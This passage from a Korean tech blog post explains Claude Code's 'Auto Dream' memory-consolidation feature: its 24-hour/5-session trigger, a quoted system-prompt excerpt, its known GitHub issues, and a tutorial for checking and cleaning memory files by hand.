&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;24&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;마지막 실행 후 최소 24시간 경과 필요. 하루 1회가 최대&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;minSessions&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;최소 5개 세션이 쌓여야 실행. 소량 메모리를 자주 정리하는 것을 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;서버 사이드 플래그의 코드네임은 &lt;code&gt;tengu_onyx_plover&lt;/code&gt;이다 (소스 코드 분석 기반, Anthropic 미공식 확인).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 서버에서 이 플래그를 켜야 동작한다. 실제로 일부 사용자에게는 이미 활성화되어 있다 &amp;mdash; GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt;의 댓글에서 &lt;code&gt;&quot;Auto-dream: on &amp;middot; last ran 1d ago &amp;middot; /dream to run&quot;&lt;/code&gt;이 확인되었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;내부 시스템 프롬프트: 4단계 정리 프로세스&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code의 내부에서 추출된 것으로 알려진 Auto Dream 시스템 프롬프트는 다음과 같이 시작한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://github.com/Piebald-AI/claude-code-system-prompts/blob/main/system-prompts/agent-prompt-dream-memory-consolidation.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Piebald-AI/claude-code-system-prompts&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;You are performing a dream &amp;mdash; a reflective pass over your memory files. Synthesize what you've learned recently into durable, well-organized memories so that future sessions can orient quickly.&quot;&lt;br /&gt;&lt;br /&gt;(지금&amp;nbsp;당신은&amp;nbsp;일종의&amp;nbsp;dream&amp;nbsp;단계,&amp;nbsp;즉&amp;nbsp;자신의&amp;nbsp;메모리&amp;nbsp;파일을&amp;nbsp;다시&amp;nbsp;검토하고&amp;nbsp;반추하는&amp;nbsp;과정을&amp;nbsp;수행하고&amp;nbsp;있습니다.&amp;nbsp;최근에&amp;nbsp;얻은&amp;nbsp;학습&amp;nbsp;내용을&amp;nbsp;정리&amp;middot;통합해서,&amp;nbsp;이후의&amp;nbsp;세션들이&amp;nbsp;빠르게&amp;nbsp;상황을&amp;nbsp;이해할&amp;nbsp;수&amp;nbsp;있도록&amp;nbsp;오래&amp;nbsp;활용&amp;nbsp;가능한&amp;nbsp;구조적인&amp;nbsp;기억으로&amp;nbsp;정리하라는&amp;nbsp;뜻입니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 프롬프트의 프론트매터에는 &lt;code&gt;ccVersion: 2.1.83&lt;/code&gt;이 명시되어 있다 &amp;mdash; v2.1.83 시점에 캡처된 것이며, 이후 버전에서 내용이 변경됐을 수 있다. (출처: &lt;a href=&quot;https://github.com/Piebald-AI/claude-code-system-prompts/blob/main/system-prompts/agent-prompt-dream-memory-consolidation.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Piebald-AI/claude-code-system-prompts&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 프롬프트에 따르면, Auto Dream은 4단계로 동작한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;단계&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이름&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;하는 일&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Orient&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;현재 메모리 파일 목록 파악, 프로젝트 맥락 이해&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Gather recent signal&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;최근 세션에서 학습한 내용 수집&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Consolidate&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;중복 병합, 모순 해결, 상대 날짜를 절대 날짜로 변환&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Prune and Index&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;불필요한 항목 삭제, MEMORY.md 인덱스 200줄 이내 유지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;시스템 프롬프트의 출처 주의&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;위 시스템 프롬프트는 Piebald-AI가 Claude Code 바이너리에서 추출한 것으로 알려져 있다. Anthropic이 공식적으로 공개한 것이 아니므로, 실제 구현과 다를 수 있다. 다만 이 4단계 구조는 DEV Community 기사, claudefa.st, 다수의 독립 분석에서 일관되게 확인되었다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;GitHub 이슈 &amp;mdash; Auto Dream의 알려진 문제 (2026-03-31 기준)&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38426&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38426&lt;/a&gt;: &lt;code&gt;/dream&lt;/code&gt; 명령어가 &quot;Unknown skill&quot;을 반환 &amp;mdash; &lt;b&gt;CLOSED&lt;/b&gt; (duplicate로 닫힘). 단, 댓글에서 &quot;auto-dream mechanism does appear to work&quot;라는 관찰 보고 있음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38461&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38461&lt;/a&gt;: &lt;code&gt;autoDreamEnabled: true&lt;/code&gt;로 설정해도 &lt;code&gt;/dream&lt;/code&gt;이 동작하지 않음 &amp;mdash; OPEN. v2.1.85에서 한 사용자가 자동 실행 관찰 보고 (다른 사용자들은 여전히 미작동, [UNVERIFIED])&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38493&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38493&lt;/a&gt;: Auto Dream의 3가지 갭 &amp;mdash; 정체성(잘못된 프로젝트명 생성), 정확성(파일 수를 검증 없이 주장), 투명성(수정 이력 없음) &amp;mdash; OPEN&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;비공식 우회책&lt;/b&gt;: &lt;a href=&quot;https://github.com/jl-cmd/claude-dream&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;jl-cmd/claude-dream&lt;/a&gt; 플러그인 (&lt;code&gt;/plugin marketplace add jl-cmd/claude-dream&lt;/code&gt;) &amp;mdash; 커뮤니티 제작, 공식 지원 아님&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설계 의도: &quot;쓰고 잊기&quot; 문제의 해결&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Memory에는 구조적 한계가 있다. Claude가 MEMORY.md 인덱스를 간결하게 유지하고 상세 내용을 토픽 파일로 분리하는 기본 정리는 하지만, &lt;b&gt;모순 해결이나 오래된 항목 자동 삭제 같은 적극적 정리 메커니즘은 없다.&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;임시 작업 메모와 중요한 학습 내용이 구분 없이 저장된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;비슷한 내용이 반복 저장된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;해결된 이슈나 포기한 기술 스택에 대한 메모가 삭제되지 않고 남는다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;MEMORY.md가 200줄 한도에 도달해도 자동 정리가 안 된다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;세션이 쌓일수록 메모리 품질이 &lt;b&gt;떨어진다&lt;/b&gt;. 이것이 사용자가 &quot;20세션 넘게 쓰다 보면 모순이 생긴다&quot;고 느끼는 이유이고, Auto Dream이 해결하려는 정확히 그 문제이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream이 출시되면 다음을 자동으로 수행할 것으로 예상된다. 아래는 추출된 시스템 프롬프트와 DEV Community 분석에 기반한 추정이며, Anthropic이 공식 확인한 내용이 아니다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;상대 날짜를 절대 날짜로 변환&lt;/b&gt; &amp;mdash; &quot;어제 Redis 쓰기로 했다&quot; &amp;rarr; &quot;2026-03-15에 Redis 쓰기로 했다&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;모순 항목 삭제&lt;/b&gt; &amp;mdash; Express에서 Fastify로 전환했으면 &quot;API는 Express&quot; 항목을 제거&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;중복 병합&lt;/b&gt; &amp;mdash; 같은 빌드 명령어에 대한 여러 메모를 하나로 통합&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;MEMORY.md 인덱스 200줄 이내 유지&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말하면: &lt;b&gt;Auto Memory는 노트를 쓰는 손&lt;/b&gt;이고, &lt;b&gt;Auto Dream은 노트를 정리하는 잠&lt;/b&gt;이다. 현재는 손만 있고 잠이 없는 상태다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실행 조건 상세: 24시간 + 5세션이 정확히 무슨 뜻인가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream이 자동으로 실행되려면 두 조건을 &lt;b&gt;동시에&lt;/b&gt; 만족해야 한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;조건&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;왜 이 조건인가&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;minHours: 24&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;마지막 Auto Dream 실행 후 &lt;b&gt;24시간 이상&lt;/b&gt; 경과&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;하루에 여러 번 정리가 반복되어 토큰을 낭비하는 것을 방지. 하루 1회가 상한.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;minSessions: 5&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;마지막 Auto Dream 실행 후 &lt;b&gt;5개 이상의 세션&lt;/b&gt;이 누적&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;정리할 내용이 충분히 쌓여야 의미 있다. 1~2번 사용 후 바로 정리하는 것은 비효율적.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;&quot;세션&quot;이란 무엇인가&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;claude&lt;/code&gt; 명령어를 실행해서 시작하고, &lt;code&gt;exit&lt;/code&gt; 또는 Ctrl+C로 종료할 때까지의 한 번의 대화 단위가 1세션이다. 짧은 세션이든 긴 세션이든 종료 한 번 = 1세션으로 카운트된다. 세션 카운트는 Auto Memory가 저장하는 메타데이터에 의해 추적된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 조건은 &lt;b&gt;AND&lt;/b&gt; 관계다. 5세션이 쌓여도 24시간이 안 지났으면 실행되지 않고, 24시간이 지나도 5세션이 안 쌓였으면 실행되지 않는다. 다음 세션 시작 시점에 두 조건을 모두 만족하면 &lt;b&gt;세션이 시작될 때 자동으로 백그라운드에서 실행&lt;/b&gt;된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Auto Dream 실행 여부 확인 방법&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실행 후 &lt;code&gt;/memory&lt;/code&gt; 메뉴에서 상태가 바뀐다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;text&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;# 아직 실행되지 않은 상태
Auto-dream: on &amp;middot; never &amp;middot; /dream to run

# 실행된 이후 (예: 13시간 전에 실행됨)
Auto-dream: on &amp;middot; last ran 13h ago &amp;middot; /dream to run&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;never&quot;가 &quot;last ran Xh ago&quot;로 바뀌면 Auto Dream이 실제로 동작한 것이다. 실행 후 &lt;code&gt;~/.claude/projects/*/memory/&lt;/code&gt; 디렉토리의 파일 수정 시간도 갱신된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Auto Dream 활성화 사용자를 위한 테스트 방법&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;에서 &quot;Auto-dream: on&quot;이 표시되는 사용자라면 다음 순서로 직접 트리거할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Step 1: 현재 상태 확인
/memory
# &amp;rarr; &quot;Auto-dream: on &amp;middot; never&quot; 이면 조건 충족 대기 중

# Step 2: 세션을 5번 이상 쌓기
# claude를 시작하고 간단한 작업 후 종료를 반복 (하루에 몇 번이든 OK)
claude
# (작업 후 exit 또는 Ctrl+C)
# &amp;rarr; 이걸 5번 이상 반복

# Step 3: 24시간 대기
# 첫 세션 이후 24시간이 지나야 함
# (이미 오늘 세션을 여러 번 했다면 내일 claude를 시작할 때 실행될 수 있음)

# Step 4: 새 세션 시작
claude
# &amp;rarr; 세션 시작 시 백그라운드에서 Auto Dream이 자동 실행됨

# Step 5: 실행 확인
/memory
# &amp;rarr; &quot;Auto-dream: on &amp;middot; last ran 0h ago&quot; 또는 &quot;last ran Xh ago&quot;로 변경됐으면 성공&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 다만 아직 3월 31일 시점에도 기능업데이트가 되진 않았다. (하지만 1일 1~2업뎃 하는 클로드 코드라면 곧 출시하지 않을까? 기다려보자.)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) /dream 을 실행하라고 하지만&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7iEuY/dJMcahqmQXu/X1g0ckBsKZYMqtC370ZBAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7iEuY/dJMcahqmQXu/X1g0ckBsKZYMqtC370ZBAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7iEuY/dJMcahqmQXu/X1g0ckBsKZYMqtC370ZBAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7iEuY%2FdJMcahqmQXu%2FX1g0ckBsKZYMqtC370ZBAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;112&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 결과는 오류&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKhsFT/dJMcacvP9ws/oIKB2j4enVkxdMqkkmi3mK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKhsFT/dJMcacvP9ws/oIKB2j4enVkxdMqkkmi3mK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKhsFT/dJMcacvP9ws/oIKB2j4enVkxdMqkkmi3mK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKhsFT%2FdJMcacvP9ws%2FoIKB2j4enVkxdMqkkmi3mK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;392&quot; height=&quot;180&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실행 후 반드시 확인할 것&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;에서 &quot;last ran&quot;으로 바뀌었는지 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;~/.claude/projects/*/memory/MEMORY.md&lt;/code&gt;를 열어 내용이 정리됐는지 검토&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;모순되거나 잘못 병합된 항목이 있을 수 있으니 &lt;b&gt;수동 검토 필수&lt;/b&gt; (GitHub &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/38493&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;#38493&lt;/a&gt; 품질 이슈 참조)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;중요한 프로젝트라면 실행 전 &lt;code&gt;memory/&lt;/code&gt; 디렉토리를 백업해두는 것을 권장&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;정확한 트리거 시점&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream이 정확히 &quot;세션 시작 시&quot; 실행되는지, &quot;세션 종료 시&quot; 실행되는지는 공식 문서에 없다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;소스 코드 분석(akari_iku, DEV Community)에 따르면 세션 시작 직후 백그라운드로 실행되는 것으로 추정된다. &lt;code&gt;/memory&lt;/code&gt;에서 &quot;last ran 0h ago&quot;가 표시된다면 방금 세션에서 실행된 것이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 실전 튜토리얼: Auto Dream 없이 메모리 관리하기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Dream이 아직 없다면, 직접 해야 한다. 다행히 어렵지 않다. 아래 3단계를 따라하면 메모리를 깔끔하게 유지할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1: 현재 메모리 상태 확인&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Claude Code 세션에서
/memory

# 또는 터미널에서 직접 확인
ls -la ~/.claude/projects/*/memory/
cat ~/.claude/projects/*/memory/MEMORY.md | wc -l   # 줄 수 확인&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;를 실행하면 현재 로딩된 모든 메모리 파일을 볼 수 있다. &quot;Open auto-memory folder&quot;를 선택하면 에디터에서 직접 열린다. 위 명령어의 &lt;code&gt;*&lt;/code&gt; 부분에는 실제 프로젝트 경로가 들어간다. 정확한 경로를 모르면 &lt;code&gt;/memory&lt;/code&gt;를 실행하여 확인하는 것이 가장 쉽다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2: 수동 메모리 정리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;메모리가 쌓였다면 직접 정리한다. 두 가지 방법이 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 A: Claude에게 요청하기&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
